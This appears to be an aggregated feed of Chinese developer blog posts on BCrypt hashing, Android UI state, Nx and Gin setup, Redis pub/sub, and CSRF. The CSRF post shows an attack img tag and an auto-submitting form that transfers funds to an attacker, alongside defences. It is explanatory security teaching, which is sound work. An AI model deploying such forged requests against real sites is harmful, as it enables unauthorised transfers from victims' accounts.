    • 已重构 33 个组件,VUE 版重构进度可参考:https://kdocs.cn/l/cbf2cgCLrUyz

    • 解决 Layui 版本存在的问题

    • 重构已办事宜

    • 重构我的请求

    • 用车申请

    • 用品领用

    • 我的用品领用历史

    • 印章借用,印章归还、我借用中的印章

    • 证照借用、证照归还、我借用中的证照

    • HR人员需求申请单

    • 我负责的人员需求

    • 门店会员

    • 门店商品库存

    • 门店商品分类管理

  • VUE 版 Skyeye 云

    开始开发,已完成 100+个组件的开发

  • 源代码对星球用户开放
  • 解决若干问题。

Skyeye 具备低代码、快捷开发、可视化设计、微服务等特点,方便客户二次开发,极大的提高了开发效率。

erp: https://gitee.com/doc_wei01/skyeye

OA: https://gitee.com/dromara/skyeye

报表:https://gitee.com/doc_wei01/skyeye-report  有问题可以联系作者,详情请看开发计划。

PC 端效果图

效果图 效果图

移动端效果图

效果图 效果图 效果图 效果图

 

by 来源: 投稿 at January 31, 2025 04:15 AM

juejin backend

简易好用的加密算法 - BCrypt加密算法

我以前使用的都是md5加盐存储用户密码,但是我们老师说md5不安全。然后我开始找一个相对安全的加密算法,最后找到了BCrypt算法。

如果在Java中想使用BCrypt加密算法,有两种途径:

  1. 使用springsecurity
  2. 使用org.mindrot.jbcrypt

我这篇文章用org.mindrot.jbcrypt演示BCrypt加密算法的使用。

1.创建简单的maven项目

项目结构:

image.png

pom.xml:

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>com.akbar</groupId>
    <artifactId>bcrypt-project</artifactId>
    <version>1.0-SNAPSHOT</version>

    <properties>
        <maven.compiler.source>17</maven.compiler.source>
        <maven.compiler.target>17</maven.compiler.target>
        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
    </properties>

    <dependencies>
        <dependency>
            <!--引入jbcrypt坐标-->
            <groupId>org.mindrot</groupId>
            <artifactId>jbcrypt</artifactId>
            <version>0.4</version>
        </dependency>
    </dependencies>
</project>

2.使用bcrypt算法

package com.akbar;
import org.mindrot.jbcrypt.BCrypt;

public class Main {
    public static void main(String[] args) {
        String password = "123";

        // 生成加密哈希
        String hashed = BCrypt.hashpw(password, BCrypt.gensalt());
        System.out.println(hashed);

        // 验证密码
        boolean match = BCrypt.checkpw(password, hashed);
        if (match) {
            System.out.println("密码正确");
        } else {
            System.out.println("密码不正确");
        }
    }
}

3.jbcryp关键方法

方法作用
hashpw(String password, String salt)使用 saltpassword 进行加密
gensalt(int log_rounds)生成带有 log_rounds 计算成本的 salt
gensalt()生成默认 10 轮加密的 salt
checkpw(String plaintext, String hashed)验证 password 是否匹配 hashed

gensalt()解读

gensalt()bcrypt 计算的核心,决定了哈希强度。

默认使用:

String salt = BCrypt.gensalt(); // 默认 log_rounds = 10
System.out.println("Salt: " + salt);

自定义计算成本:

String salt = BCrypt.gensalt(12); // 使用 12 轮计算成本
System.out.println("Salt: " + salt);

gensalt(12) 计算成本 12,比 10 更安全但计算更慢。

checkpw() 如何验证密码

    String password = "123";
    
    // 生成加密哈希 
    String hashed = BCrypt.hashpw(password, BCrypt.gensalt());
    
    // 验证密码
    boolean match = BCrypt.checkpw(password, hashed);

🔹 不能直接用 equals() 比较密码,因为 bcrypt 每次生成的哈希都不同。
🔹 checkpw() 内部会自动解析 salt 并进行比较

hashpw() 解析哈希格式

bcrypt 生成的哈希是 60 个字符的字符串,格式如下:

$2a$10$qO6PDKpRBK6N7d8GxOpCAO58wSINRdBSQ4kB2Jm3y85nKuqcqdSxa

解析结构(为了容易区分,用空格隔开)

$2a$ 10 $qO6PDKpRBK6N7d8GxOpCAO58wSINRdBSQ4kB2Jm3y85nKuqcqdSxa
│     │ │   └─────────── 哈希值(bcrypt 计算后)
│     │ └─────────── Salt(前 16 字符)
│     └────── 计算成本(log_rounds = 10)
└──── bcrypt 版本号($2a$ 代表标准 bcrypt)

🔹 bcrypt 的特性: 即使 password 相同,每次哈希都不同
🔹 安全性来源:哈希值包含 动态 salt,所以无法用 hashmap 预计算彩虹表攻击。

by NicolasCage at January 31, 2025 03:42 AM

juejin android

Now In Android 精讲 6 - UI Layer

界面层(UI Layer)概览

界面层的主要作用是展示数据,并且响应用户交互。下面的界面层官方架构图告诉我们,界面层是属于整个应用的最上层,他主要由 UI element 和 state holder 组成。 UI 元素通过从 State holders 获取 State 从而向用户提供可交互的 UI,那么什么是 State?

image.png

UI state 定义

if the UI is what the user sees, the UI state is what the app says they should see. Like two sides of the same coin, the UI is the visual representation of the UI state. Any changes to the UI state are immediately reflected in the UI.

官方对 UI state 介绍非常抽象,换成通俗意义上的话来说,UI 是给用户看的,UI State 是给 app 看的。UI state 首先告诉 app,app 才能告诉你该长啥样。

那么通常一个 UI state 应该长啥样?举个例子:

val topicUiState: StateFlow<TopicUiState> = topicUiState(
    topicId = topicId,
    userDataRepository = userDataRepository,
    topicsRepository = topicsRepository,
)
    .stateIn(
        scope = viewModelScope,
        started = SharingStarted.WhileSubscribed(5_000),
        initialValue = TopicUiState.Loading,
    )

一般来说 UI state 首要满足的就是不可变对象,多数情况我们使用 val 对外提供一个不可变的对象,其次他的命名习惯的是:功能 + UiState。例如在本例中是一个 topic 相关的状态,那么项目里面起名就叫 TopicUiState。

如何管理 UI state?

图二

整个应用如上图所示,都应该遵循 Unidirectional Data Flow (UDF) 来管理 UI state, 按照图中所示即是:状态向下传递,事件向上传递。我们换种方式来理解即是,UI state 负责驱动 UI 的变化,但是 UI 的修改需要通过 event 传递给上层处理。state 跟 event 他们一个负责通知 UI 的变化,一个负责传递用户意图。单项数据流很好的把他们的职责分离出来。

NOTE:我们在谈论单向数据流的时候不要脱离了 UI layer,如果你在其他层,例如 Data layer 或是 Domain layer,我想是一件不合适的事情,因为他们本身就需要从本地获取/发送数据,进行各种复杂的交互。

通过 Now In Android 里面的代码来学习如何向外提供数据流

val uiState: StateFlow<InterestsUiState> = combine(
    selectedTopicId,
    getFollowableTopics(sortBy = TopicSortField.NAME),
    InterestsUiState::Interests,
).stateIn(
    scope = viewModelScope,
    started = SharingStarted.WhileSubscribed(5_000),
    initialValue = InterestsUiState.Loading,
)


sealed interface InterestsUiState {
    data object Loading : InterestsUiState

    data class Interests(
        val selectedTopicId: String?,
        val topics: List<FollowableTopic>,
    ) : InterestsUiState

    data object Empty : InterestsUiState
}

一般来说我们通过向外暴露一个 StateFlow 类型的可观察数据流,对外提供不可变的数据。在应该也会有一些小伙伴在平时写的时候会贪图省事,使用 MutableStateFlow ,这样既可以操作,又可以提供数据,这样其实是破坏封装的,向使用方提供了过多的能力,会使得代码维护变得困难。

如何合理的提供 state?

  1. 首先 state 内部的各个 property 应该有相关性,举个例子:上面的代码 InterestsUiState 里面 Interests 提供的都是 Interest 相关内容,如果里面提供了订阅的信息,那应该甚为不妥。其次如果 state 某个 property 更新频率很高,那么 state 更新频率会变的很高,会引起很多 compose 不必要的重组,降低 UI 性能。这时候可以选择将这个 property 单独提取出去,再行暴露给调用方。
  2. 尝试使用 distinctUntilChanged(),或者其他操作符减少不必要的更新

如何理解 Event?

我们先看一段官方的介绍

UI events are actions that should be handled in the UI layer, either by the UI or by the ViewModel.

Event/事件 是 UI 层应该处理的操作,注意这里面说的 UI 层而不只是 UI element,他可能是 UI 亦或是 ViewModel。

Event 有哪些类型?

  • viewmodel 事件:ViewModel 事件应始终会引发界面状态更新。这里面官方文档的中文翻译 有一处不够准确, 英文原意是:Consuming events can trigger state updates,翻译成中文就变成了:使用事件可能会触发状态更新。can 这个词翻译成或者是都行,唯独可能不行,这地方语义应该翻译成

  • 导航事件:调用导航控制器路由到指定 composable screen。
    参考下面项目里面的代码 onTopicClick = navController::navigateToTopic

    fun NiaNavHost(
        appState: NiaAppState,
        onShowSnackbar: suspend (String, String?) -> Boolean,
        modifier: Modifier = Modifier,
    ) {
        val navController = appState.navController
        NavHost(
            navController = navController,
            startDestination = ForYouBaseRoute,
            modifier = modifier,
        ) {
            forYouSection(
                onTopicClick = navController::navigateToTopic,
            ) 
            ...
            interestsListDetailScreen()
        }
    }
    

状态容器与状态管理

逻辑

从前面一节里面我们学习到,状态是由事件驱动的,一般由 viewmodel 进行更新,用通俗的话来讲事件调用的负责更新或者生成新的状态的流程我们称之为 逻辑
上面一节讲到了事件有 viewmodel 事件和导航事件,一般我们把 viewmodel 事件触发的逻辑称之为业务逻辑,导航事件触发的逻辑称之为界面逻辑。业务逻辑通常不依赖具体的生命周期(你是不是从来没在 viewmodel 里面依赖过 lifecyle 之类的代码),界面逻辑依赖生命周期(页面没了逻辑自然也不能执行)。

image.png

状态容器

一般来说,如果不是非常简单的界面,我们都会有一个状态容器来存储状态。然后与逻辑类似,不依赖界面生命周期的称之为业务状态逻辑容器,依赖界面的我们称之为界面状态逻辑容器。

业务逻辑状态容器 ViewModel

平时我们接触到最多的 viewmodel 就是业务状态逻辑容器,这个应该很好理解,viewmodel 本身不依赖界面,他依赖上游的 Data layer 或是 Domain layer 的能力,保存状态,作为业务逻辑的中转站而存在。(在依赖关系里面是 viewmodel 处于 UI 的上游,一般由 fragment 或者 compose 依赖 viewmodel,所以他的生命周期往往要长于 UI) 看个例子:

class InterestsViewModel @Inject constructor(
   private val savedStateHandle: SavedStateHandle,
   val userDataRepository: UserDataRepository,
   getFollowableTopics: GetFollowableTopicsUseCase,
) : ViewModel() {

   // Key used to save and retrieve the currently selected topic id from saved state.
   private val selectedTopicIdKey = "selectedTopicIdKey"

   private val interestsRoute: InterestsRoute = savedStateHandle.toRoute()
   private val selectedTopicId = savedStateHandle.getStateFlow(
       key = selectedTopicIdKey,
       initialValue = interestsRoute.initialTopicId,
   )

   val uiState: StateFlow<InterestsUiState> = combine(
       selectedTopicId,
       getFollowableTopics(sortBy = TopicSortField.NAME),
       InterestsUiState::Interests,
   ).stateIn(
       scope = viewModelScope,
       started = SharingStarted.WhileSubscribed(5_000),
       initialValue = InterestsUiState.Loading,
   )
   

   fun followTopic(followedTopicId: String, followed: Boolean) {
       viewModelScope.launch {
           userDataRepository.setTopicIdFollowed(followedTopicId, followed)
       }
   }

   fun onTopicClick(topicId: String?) {
       savedStateHandle[selectedTopicIdKey] = topicId
   }

从上面的例子我们可以看到一个典型的 viewmodel 可能要处理页面重建,负责与 Data layer 以及 domain 交互,UI 提供 state 的职责,是一个非常重要的角色。

如何在 UI 中使用 state 和调用业务逻辑?

我们先看一段项目里面的代码:

@Composable
fun InterestsRoute(
    onTopicClick: (String) -> Unit,
    modifier: Modifier = Modifier,
    highlightSelectedTopic: Boolean = false,
    viewModel: InterestsViewModel = hiltViewModel(),
) {
    val uiState by viewModel.uiState.collectAsStateWithLifecycle()

    InterestsScreen(
        uiState = uiState,
        followTopic = viewModel::followTopic,
        onTopicClick = {
            viewModel.onTopicClick(it)
            onTopicClick(it)
        },
        highlightSelectedTopic = highlightSelectedTopic,
        modifier = modifier,
    )
}

@Composable
internal fun InterestsScreen(
    uiState: InterestsUiState,
    followTopic: (String, Boolean) -> Unit,
    onTopicClick: (String) -> Unit,
    modifier: Modifier = Modifier,
    highlightSelectedTopic: Boolean = false,
) {
   ...
}

从上面的代码我们可以看出来,状态的获取是通过 val uiState by viewModel.uiState.collectAsStateWithLifecycle() 这样的方式获取,然后与生命周期绑定。然后只向 compose 传递需要的参数和 Event,而不是整个 viewmodel。这一点非常重要,如果你的组件依赖了 viewmodel 那么你的组件的可复用性会变得很低。

严禁向 compose 方法传递 viewmodel

在这里我们稍微看一段上面的 viewmodel 的代码:

class InterestsViewModel @Inject constructor(
    private val savedStateHandle: SavedStateHandle,
    val userDataRepository: UserDataRepository,
    getFollowableTopics: GetFollowableTopicsUseCase,
) : ViewModel()

可以看到他依赖了 Data layer 和 Domain layer 里面的部分 class,如果我一个 compose 的组件依赖了 viewmodel 那么,他是不是也需要依赖这些文件,这无疑让其使用这个组件的人增加了成本,而且这破坏了单一职责。再看看上面的 InterestsScreen ,这种方式是不是比之直接传递 viewmodel 要好上许多,复用性也更强了。

界面逻辑及其状态容器

界面逻辑我们平时开发中接触也不少,例如导航,获取图片资源。这些操作依赖于界面的存在,如果界面不存在了导航,获取图片资源这些便也没了意义。那么保存界面逻辑状态的容器便不需要很复杂,可以使用普通类来保存状态。

@Composable
fun rememberNiaAppState(
    networkMonitor: NetworkMonitor,
    userNewsResourceRepository: UserNewsResourceRepository,
    timeZoneMonitor: TimeZoneMonitor,
    coroutineScope: CoroutineScope = rememberCoroutineScope(),
    navController: NavHostController = rememberNavController(),
): NiaAppState

这是一段项目里面的的界面状态容器代码,可以看到在 compose 里面界面容器本身也是 compose 的一部分,是可组合方法,那么其必然是可以被其他可组合方法复用的。

如何选择状态容器的类型?

一般来说业务逻辑我们会选择 viewmodel,跟 app 页面依赖较多的例如资源文件、导航控制器等我们可以选择使用普通类。

状态(state)、状态容器(state holder)、事件(event)如何串起来?

先来看一段状态生产的示意图: image.png
首先事件他的来源可能是来自 viewmodel 依赖的 domain、data layer 的数据变化,也有可能是用户的交互操作,这些统一作为输入,然后 state holder,处理更新状态。

输入输出特点

举个例子:

val feedUiState: StateFlow<NewsFeedUiState> =
    userNewsResourceRepository.observeAllBookmarked()
        .map<List<UserNewsResource>, NewsFeedUiState>(NewsFeedUiState::Success)
        .onStart { emit(Loading) }
        .stateIn(
            scope = viewModelScope,
            started = SharingStarted.WhileSubscribed(5_000),
            initialValue = Loading,
        )

首先 viewmodel 也就是状态容器接受其他层的数据变化,整个过程是在异步的不在主线程执行,然后返回一个可观察的 stateflow。当然在实际开发过程中接受的输入不仅仅是 flow,其他类型的操作,或者两者混合使用都是可以的,灵活运用。

状态生产过程的初始化?

本着最小化调用的原则,生产过程应该在需要的时候才启动。所以我们应该尽可能延迟状态生成流水线的初始化,以节省系统资源。
在这里面有一个细节就是避免在 viewmodel 的构造或者 init 方法里面调用异步方法。这个应该是很多人都忽略的一点,首先如果调用异步方法,那么这个方法的生命周期可能会长于 viewmodel 自身,导致对象的泄露。其次根据函数式编程的理念就是不产生副作用,在构造或者 init 里面调用异步代码显然是不符合这个规范的。如果使用异步编程,不能保证构造函数的幂等性。而且有可能对象还没创建完就调用部分方法,产生不可预期的问题。
在学习 Now In Android 项目的时候我看到,每个 viewmodel 都是这么设计的,希望我们以后都能避免犯类似的错误。
下面举例说:

// 反面示例:不推荐的异步初始化
class BadViewModel(
    private val userRepository: UserRepository
) : ViewModel() {
    // 错误:在构造函数中直接启动异步操作
    init {
        viewModelScope.launch {
            // 可能导致状态不一致和生命周期问题
            val userData = userRepository.fetchUserData()
            _userState.value = userData 
        }
    }
}

// 正面示例:推荐的异步操作方式
class GoodViewModel(
    private val userRepository: UserRepository
) : ViewModel() {
    private val _userState = MutableStateFlow<UserData?>(null)
    val userState: StateFlow<UserData?> = _userState.asStateFlow()

    // 提供显式的加载方法
    fun loadUserData() {
        viewModelScope.launch {
            try {
                val userData = userRepository.fetchUserData()
                _userState.value = userData
            } catch (e: Exception) {
                // 处理错误
                _userState.value = null
            }
        }
    }
}

The end,本章完

在这里给您拜个晚年,祝您晚年生活愉快 😄

by CaptainZ at January 31, 2025 03:10 AM

juejin frontend

Angular 项目中 Could not find Nx modules in this workspace 错误的分析与解决

在 Angular 项目中运行命令 npx nx run-many --target=build 时,遇到错误消息 Could not find Nx modules in this workspace. Have you run npm/yarn install?,可能会让开发者感到困惑。这篇文章将从错误信息的含义、产生的原因以及如何解决问题等方面展开详细分析,并给出具体的示例代码。

错误信息含义解析

错误消息 Could not find Nx modules in this workspace 的字面意思是:在当前工作区中未找到 Nx 模块。随后的一句 Have you run npm/yarn install? 则提示开发者是否已经执行了 npm installyarn install 命令来安装项目依赖。

从技术角度看,这个错误通常表明当前项目缺少 Nx 所需的依赖模块。Nx 是一个增强型的构建工具,用于支持 Angular、React 等框架的大型单体和多包仓库项目管理。为了让命令 npx nx run-many 能够正常工作,必须确保以下条件:

  1. 项目工作区中包含 Nx 的依赖项。
  2. 已安装所需的依赖模块。
  3. 工作目录的结构和配置文件(如 nx.jsonangular.json)正确无误。

常见问题分析

问题 1:未安装项目依赖

如果项目的依赖未安装,npx nx 无法找到必要的模块和配置文件,导致错误。可能的原因包括:

  • 刚克隆项目到本地后未运行 npm installyarn install
  • 安装过程中出错,例如网络问题导致依赖未完全安装。

问题 2:项目缺少 Nx 相关配置

一个合法的 Nx 工作区需要包含 nx.json 文件和一些其他配置文件(如 angular.jsonproject.json)。如果这些文件缺失或结构被破坏,npx nx 无法识别当前目录为 Nx 工作区。

问题 3:依赖版本不匹配

如果 package.json 文件中声明的 Nx 版本与实际安装的版本不一致,也可能导致模块加载失败。

问题解决步骤

检查并安装依赖

运行以下命令,确保项目依赖已经安装:

npm install

或者:

yarn install

这一步会根据 package.json 文件中声明的依赖下载并安装模块。

检查项目是否为 Nx 工作区

确认项目根目录下是否存在 nx.json 文件。如果文件缺失,则表明项目并不是一个 Nx 工作区或工作区配置损坏。可以通过以下方式验证:

  1. 在项目根目录运行命令:

    ls
    

    检查是否有 nx.json 文件。

  2. 打开 angular.json 文件,确认其内容是否包含 projects 字段,并且字段下的项目配置与 Nx 工作区一致。

如果 nx.json 文件缺失,可以使用以下命令重新初始化 Nx 工作区:

npx create-nx-workspace@latest

按照提示重新配置工作区。

检查 Nx 依赖项版本

确保 package.json 中的 Nx 依赖项声明正确。常见的 Nx 相关依赖项包括:

  • @nrwl/workspace
  • @nrwl/angular

以下是一个标准的 package.json 示例:

{
  "dependencies": {
    "@nrwl/angular": "^16.0.0",
    "@nrwl/workspace": "^16.0.0",
    "rxjs": "^7.8.0"
  },
  "devDependencies": {
    "@angular/cli": "^16.0.0",
    "@nrwl/cli": "^16.0.0"
  }
}

运行以下命令,安装或更新依赖项:

npm install @nrwl/angular @nrwl/workspace

示例项目

以下是一个简单的 Nx 工作区项目结构:

my-nx-workspace/
├── apps/
│   ├── my-app/
├── libs/
├── nx.json
├── angular.json
├── package.json
├── tsconfig.base.json
└── node_modules/

在该项目中运行 npx nx run-many --target=build,需要满足以下条件:

  • nx.json 文件中配置了工作区和项目的基础信息。
  • angular.json 中定义了项目的构建配置。

实例代码运行

my-nx-workspace 目录下,执行以下命令,验证项目是否正确构建:

npx nx run-many --target=build

如果运行成功,将输出类似以下内容:

> nx run-many --target=build
Building project: my-app
...
Done in 5.32s.

如果仍然遇到问题,可以尝试清除缓存并重新安装依赖:

rm -rf node_modules package-lock.json
npm install

结论

Could not find Nx modules in this workspace 错误通常由依赖未安装、项目配置文件缺失或版本不匹配等问题引起。通过检查和修复项目的依赖安装状态、Nx 工作区配置文件和版本兼容性,能够有效解决问题并确保命令正常运行。

by 华山风清扬 at January 31, 2025 02:58 AM

juejin backend

Go Gin 项目实战-API路由的分模块管理

随着项目开发的迭代,我们写的接口往往会越来越多,如果都把API的路由写到一个文件里,那么整个路由文件就会变得又乱又长,所以我们最好在项目开始阶段就给路由的分模块管理做好规划。

今天这个文章给大家介绍一下Web项目API路由的分模块管理,我们的项目使用的是Gin框架,但基本上所有的Web框架都能按照这个方式来分模块管理API接口的路由。

图片

一些路由管理混乱的例子

首先,我先给大家看一个曾经维护过的项目的路由文件 router.go, 这个项目用的也是Gin框架,整个文件里500多行全是API接口的路由。

图片 你说这么写不好维护吧,全项目的路由都在这里不用其他地方找,按能用就行的标准,确实是能用。

而且Gin的官方文档里在路由这块的例子确实也是这么写的。

// Gin 官方文档示例
func main() {
 router := gin.Default()

 // 简单的路由组: v1
 v1 := router.Group("/v1")
 {
  v1.POST("/login", loginEndpoint)
  v1.POST("/submit", submitEndpoint)
  v1.POST("/read", readEndpoint)
 }

 // 简单的路由组: v2
 v2 := router.Group("/v2")
 {
  v2.POST("/login", loginEndpoint)
  v2.POST("/submit", submitEndpoint)
  v2.POST("/read", readEndpoint)
 }

 router.Run(":8080")
}

随着项目开发的迭代,我们写的接口往往会越来越多,如果还按上面这样把API的路由写到一个文件里,那么整个路由文件就会变得像上面那个例子一样,变得又乱又长。

今天介绍两个步骤让我们能把项目路由分模块管理起来。本节内容节选自我的专栏《Go项目搭建和整洁开发实战》

image.png 本专栏力主实战技能,配备完整的实战项目,访问xiaobot.net/p/golang 即可订阅

项目中怎么规划和管理路由

首先根据我们上一节 「Go 项目怎么做好分层架构和目录规划」中设计的项目目录结构,在API处理器对应的api目录下的controler和router子目录中分别存放每个模块对应的Api handler 和 router 文件。

举例来说,假设我们项目中想在有用户和订单两个模块,那么此时项目的api/controller 和 api/router 中应该分别有俩个文件与业务模块对应。

.
|---api # API 处理器模块
|     |---controller  # 控制器
|     |   |---order.go  # 订单模块的 Api Handler
|     |   |---user.go  # 用户模块的 Api Handler
|     |---router  # 路由
|     |   |---order.go  # 订单模块的路由文件
|     |   |---router.go  # 负责路由初始化和注册各模块路由的总文件
|     |   |---user.go  # 用户模块的路由文件

在路由目录中 router.go 负责路由初始化和注册各模块路由的总文件,此外一些要全局应用的中间件也会在这里设置,比如像下面这样。

图片

而进入到每个模块的路由文件中,首先其路由组设置的路由前缀要跟模块名保持统一,另外还可以根据该模块中接口的统一特征在路由组上应用中间件。

比如是订单模块的接口,那么路由组的前缀可以设置成"/order/"这样所有订单相关的接口都在这个路径下,因为用户只能看自己的订单,所以所有订单相关的接口都需要用户认证后才能访问。我们可以在路由组上应用用户认证中间件,为组内的所有接口增加这项限制,比如像下面这样。

图片

最后多提一点,如果业务模块里的接口太多,像controller/order.go 这样,单个文件不好组织整个模块的API handler的时候也可以把其升级为目录,变成下面这种结构。

.
|---api # API 处理器模块
|     |---controller  # 控制器
|     |   |---order # 订单模块的 Api Handler
|     |   |   |---xxx.go
|     |   |   |---yyy.go
|     |---router  # 路由
......

好了,介绍完Web项目管理路由的大概思路后,我带大家一起看下,怎么用这个思路在Gin项目中分模块管理

用Gin实现路由的分模块管理

分模块首先就是按照URI的目录或者叫路由组进行管理,首先我们在项目的 api/router 目录下定义一个router.go文件,它负责路由初始化和注册各模块的路由。

在其中增加如下代码:

func RegisterRoutes(engine *gin.Engine) {
 // use global middlewares
 engine.Use(middleware.StartTrace(), middleware.LogAccess(), middleware.GinPanicRecovery())
 routeGroup := engine.Group("")
 registerBuildingRoutes(routeGroup)
}

在这里我们先把所有全局中间件应用上,Gin框架的路由组是靠 gin.Group 来维护的,我们先在全局的router方法中通过 engine.Group("") 拿到一个不带任何路由前缀的 gin.Group 作为顶级路由组。

之后再把它传递给每个子模块的路由注册方法,在这个顶级路由组的基础上再去生成各个路由模块的路由组对象,用来注册它们各自的路由。

我们先把之前搭建框架时写的那些测试方法的路由都放在api/router/building.go 文件中,所有路由都以"/building/"作为前缀。

// 存放一些项目搭建过程中验证效果用的接口的路由

func registerBuildingRoutes(rg *gin.RouterGroup) {
 // 这个路由组中的路由都以 /building 开头
 g := rg.Group("/building/")
 // 测试 Ping
 g.GET("ping", controller.TestPing)
 // 测试日志文件的读取
 g.GET("config-read", controller.TestConfigRead)
 // 测试日志门面Logger的使用
 g.GET("logger-test", controller.TestLogger)
 // 测试服务的访问日志
 g.POST("access-log-test", controller.TestAccessLog)
 // 测试服务的崩溃日志
 g.GET("panic-log-test", controller.TestPanicLog)
 // 测试项目自定义的AppError 打印错误链条和错误发生位置
 g.GET("customized-error-test", controller.TestAppError)
 // 测试统一响应--返回对象数据
 g.GET("response-obj", controller.TestResponseObj)
 // 测试统一响应--返回列表和分页
 g.GET("response-list", controller.TestResponseList)
 // 测试统一响应--返回错误
 g.GET("response-error", controller.TestResponseError)
}

相应的路由对应的API Handler也需要从main.go 中挪到 controller 包中, 我们在api/controller中新建building.go 用来存放搭建框架过程中编写的那些测试接口的Handler方法。

把已有的Controller挪到对应的文件后,可以随机抽查几个看看看到这些接口是否都还能正常访问,接下来再观察下我们请求接口时产生的应用日志。

图片

应用日志仍然是能正常的把请求的访问日志和错误响应日志都给记录下来,证明代码改动没问题。

路由分模块管理的规则

上面我演示了为了做路由分模块管理在项目中做的那些基础工作,未来进入需求开发阶段我们只要按照这个规则分模块去管理路由就行啦。

后面我们在项目开发时,API的路由管理也遵循这个原则:

  • 每个业务模块的API,都编写单独的路由注册函数,把路由放在api/router/目录的一个单独的文件中,文件名与模块名相对应。
  • 每个业务模块的API Handler,都放在api/controller 目录下的一个单独文件或者单独的目录中。

如果按照我们上节课「Go 项目怎么做好分层架构和目录规划」中介绍的使用应用服务和领域服务拆分逻辑的方式。控制器层应该每个Controller 方法的代码都很少,Controller中的代码不会太臃肿,除非某个模块下接口数量特别多才需要多个controller文件来存放模块下的Controller代码。

总结

本专栏力主实战技能,配备完整的实战项目,访问xiaobot.net/p/golang 即可订阅

订阅后,可加入专栏配套的实战项目,获得完整实战教程,同时也有专属的读者群,欢迎加入一起学习

本节对应的代码版本为c6,订阅后加入课程的GitHub项目后访问 github.com/go-study-la… 可以直接查看本章节对应的代码更新。

图片

下一节,在开始用代码进一步讲解如何使用分层架构做项目开发之前我们先为项目集成GORM,同时我们还会把GORM的日志统一整合到项目的应用日志中,这样即使访问DB时除了问题或者有慢查询后,也能通过我们的项目日志来统一追踪查询。

by kevinyan at January 31, 2025 02:50 AM

web安全 - CSRF

跨站请求伪造CSRF(Cross Site Request Forgery):是一种利用用户身份认证漏洞,骗取服务器信任,让受害者在不知情的情况下,执行攻击者指定的恶意请求。

攻击原理

  1. 用户登录A网站,浏览器保存了用于身份认证的Cookie
  2. 攻击者诱导用户访问B网站。
  3. B网站“静悄悄”地向A网站发送请求,浏览器自动携带用户的Cookie进行身份认证。
  4. 用户账号被攻击者“控制”,例如转账、删除资源等。

示例

用户在 meow.com 登录账号(此时Cookie仍然有效)

攻击者在自己的钓鱼网站上嵌入了一张恶意图片:

<img src="https://meow.com/transfer?to=attacker&amount=5000">

或构造一个form表单,然后利用Javascript自动提交

<p>只是和你开个小玩笑👿,新年快乐🎉</p>

<form id="myForm" action="https://meow.com/transfer">
    <input type="hidden" name="to" value="attacker">
    <input type="hidden" name="amount" value="5000">
</form>

<script>
    document.getElementById('myForm').submit()
</script>

用户访问后链接后,浏览器会自动带上会话数据(Cookie),导致用户的账户向攻击者转账!

防御

  • 二次认证:在进行某些关键操作时(如转账、删除用户),要求用户进行二次登录或者输入验证。
  • 设置sameSite=Strict,限制Cookie只能在同源站点提交,防止跨站滥用。

Koa设置CookieSameSite属性:

ctx.cookies.set('sessionId', sessionId, {
    path: '/',
    httpOnly: true,
    secure: false,
    sameSite: 'strict',
})
  • Token认证:服务器生成随机的Token,并在表单或请求中携带,服务器在收到请求时验证Token。

前端提交服务器返回的CSRF Token

<form method="POST" action="https://meow.com/login">
  <input type="hidden" name="_csrf" value="token">
  <input type="submit" value="登录">
</form>

by aricvvang at January 31, 2025 02:04 AM

六. Redis当中的“发布” 和 “订阅” 的详细讲解说明(图文并茂)

六. Redis当中的“发布” 和 “订阅” 的详细讲解说明(图文并茂)

@[toc]


1. 发布 和 订阅的概念

发布和订阅是什么?

一句话: Redis 发布(pub) 订阅(sub) 是一种消息通信模式:发送者(pub) 发送信息,订阅者(sub) 接收信息

  • 订阅:subscribe
  • 发布:publish

Redis 客户端可以订阅任意数量的频道。

客户端订阅频道示意图:

在这里插入图片描述

当给这个频道发布消息后,消息就会发送给订阅了的客户端:

在这里插入图片描述

发布了一个消息 Hello ,给了对应的频道,然后这些订阅了该频道的客户端,就会读取到发布的(Hello)的消息。

客户端可以订阅多个频道。

可以发布多个消息给多个频道

在这里插入图片描述

如何理解发布和订阅模式:

任务队列:

  1. 顾名思义,就是“传递消息的队列”

  2. 与任务队列进行交互的实体有两类:

    1. 一类是:生产者(producer) ,
    2. 另一类则是消费者(consumer)

    生产者 将需要处理的任务放入到任务队列 当中,而消费者 则不断地从任务队列中读取任务信息并执行。

如何简单理解:

  1. Subscriber:看作是收音机 。可以收到多个频道,并以队列方式显示。
  2. Publisher:看做是电台 。可以往不同的 FM 频道中发送消息。
  3. Channel:不同频率的 FM 频道

Pub/Sub 的机制来看,它更像是一个广播系统,多个订阅者(Subscriber) 可以订阅多个频道(Channel) ,多个发布者(Publisher) 可以往多个频道(Channel) 中发布消息。

简单通俗一点就是说:发布消息到一个中间件 上,而订阅/配置了这个中间件的客户端,就会实时/接收到这个发送到中间件上的消息。

2. 发布订阅模式分类

2.1 一个发布者,多个订阅者

一个发布者,多个订阅者

主要应用:通知、公告。

可以作为消息队列或者消息管道。 在这里插入图片描述

2.2 多个发布者,一个订阅者

多个发布者,一个订阅者

各应用程序作为 Publisher 向 Channel 中发送消息,Subscriber 端收到消息后执行相应的业务逻辑,比如写数据库,显示。

主要应用:排行榜,投票,计数

在这里插入图片描述

2.3 多个发布者,多个订阅者

多个发布者,多个订阅者。

可以向不同的 Channel 中发送消息,由不同的 Subscriber 接收

主要应用:群聊,聊天 在这里插入图片描述

3. Redis 命令行实现发布和订阅

关于Redis 实现发布和订阅有如下 6 个相关的命令:

在这里插入图片描述

  1. PUBLISH channel msg 将消息 message 发送到指定的频道 channel

在这里插入图片描述

  1. SUBSCRIBE channel [channel ...] 订阅频道,可以同时订阅多个频道

在这里插入图片描述

  1. UNSUBSCRIBE [channel ...] 取消订阅指定的频道,如果不指定频道,则会取消所订阅的所以频道

在这里插入图片描述

  1. PSUBSCRIBE pattern [pattern ...] 订阅一个或多个符合给定模式的频道,每个模式以 * 作为匹配符,比如it* 匹配所有以 it 开头的频道(it.news,it.blog,it.tweets 等等);news.* 匹配所有以 news. 开头的频道(new.it,new.global.today 等等),诸如此类。

在这里插入图片描述

  1. PUNSUBSCRIBE [pattern [pattern ...]] 退订指定的规则,如果没有参数则会退订掉所i有规则

